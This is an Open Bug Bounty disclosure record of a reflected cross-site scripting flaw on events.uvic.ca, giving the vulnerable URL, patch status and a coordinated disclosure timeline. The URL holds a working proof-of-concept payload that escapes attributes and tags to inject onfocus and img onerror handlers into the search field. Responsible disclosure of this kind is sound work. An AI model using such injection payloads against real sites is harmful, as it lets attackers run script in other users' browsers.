events.uvic.ca XSS vulnerability

2017-06-29T12:03:00
ID OBB:254183
Type openbugbounty
Reporter hackdemonium
Modified 2017-07-08T15:10:00

Description

Vulnerable URL:
http://events.uvic.ca//?cat=alumni%2Cathletics%2Cconference%2Cexhibit%2Cfilm%2Clecture%2Fseminar%2Cmusic%2Ctheatre%2Cother&month;=08&searchstring;=a%27aa%22onfocus=prompt(/OPENBUGBOUNTY/)%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/OPENBUGBOUNTY/)%3E&submit;=Search&view;=result&year;=2012
Details:

Description| Value
---|---
Patched:| Yes, at 07.07.2017
Latest check for patch:| 07.07.2017 22:49 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check events.uvic.ca SSL connection:| (Grade: C+)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 29 June, 2017 12:03 GMT
Generic security notifications sent to website owner| 29 June, 2017 12:05 GMT
Notification sent to subscribers (without technical details)| 29 June, 2017 14:17 GMT
Vulnerability patched by the website owner| 8 July, 2017 12:04 GMT
Vulnerability details disclosed by researcher| 8 July, 2017 15:10 GMT